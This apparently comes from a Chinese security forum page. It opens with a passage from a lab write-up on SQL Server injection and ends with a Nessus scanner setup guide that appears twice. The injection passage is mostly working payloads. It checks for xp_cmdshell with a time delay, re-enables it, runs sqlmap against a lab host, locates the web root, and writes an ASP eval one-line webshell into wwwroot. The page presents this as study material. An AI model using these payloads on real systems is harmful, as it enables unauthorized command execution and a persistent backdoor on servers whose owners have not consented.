;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'
开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:
- 找到报错页面得到物理路径,如404页面。
- 查找网站文件并把路径写入到临时表当中
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。
2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp
;use test;create table tt_tmp (tmp1 varchar(1000));创建完成之后使用sqlmap可以看到成功创建表temp
Sqlmap命令:
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables
之后我们将char.asp文件的路径写入到该字段当中
;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)
这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间
Sqlmap命令:
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话
;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察
返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。
成功写入一句话木马,尝试才到连接
成功获取webshell
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:
select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0
查看字段名:select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'
总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
nessus的扫描及配置说明
gu 发表了文章 • 0 个评论 • 965 次浏览 • 2019-07-10 16:33
输入项目名称,ip地址
然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加
添加之后点击save,这样一个扫描任务就创建成功了
点击开始就可以开始扫描了
点击该项目就可以查看扫描的详细信息
扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告
下载完成之后打开就是扫描的报告信息
0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明
Port Scanning 端口扫描
Service Discovery 端口服务探测
0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置
Brutr Force 风险项
Web Application web应用扫描
Windows 设置
0x03Credentials 设置登录扫描
以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存
0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽 查看全部
输入项目名称,ip地址
然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加
添加之后点击save,这样一个扫描任务就创建成功了
点击开始就可以开始扫描了
点击该项目就可以查看扫描的详细信息
扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告
下载完成之后打开就是扫描的报告信息
0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明
Port Scanning 端口扫描
Service Discovery 端口服务探测
0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置
Brutr Force 风险项
Web Application web应用扫描
Windows 设置
0x03Credentials 设置登录扫描
以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存
0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽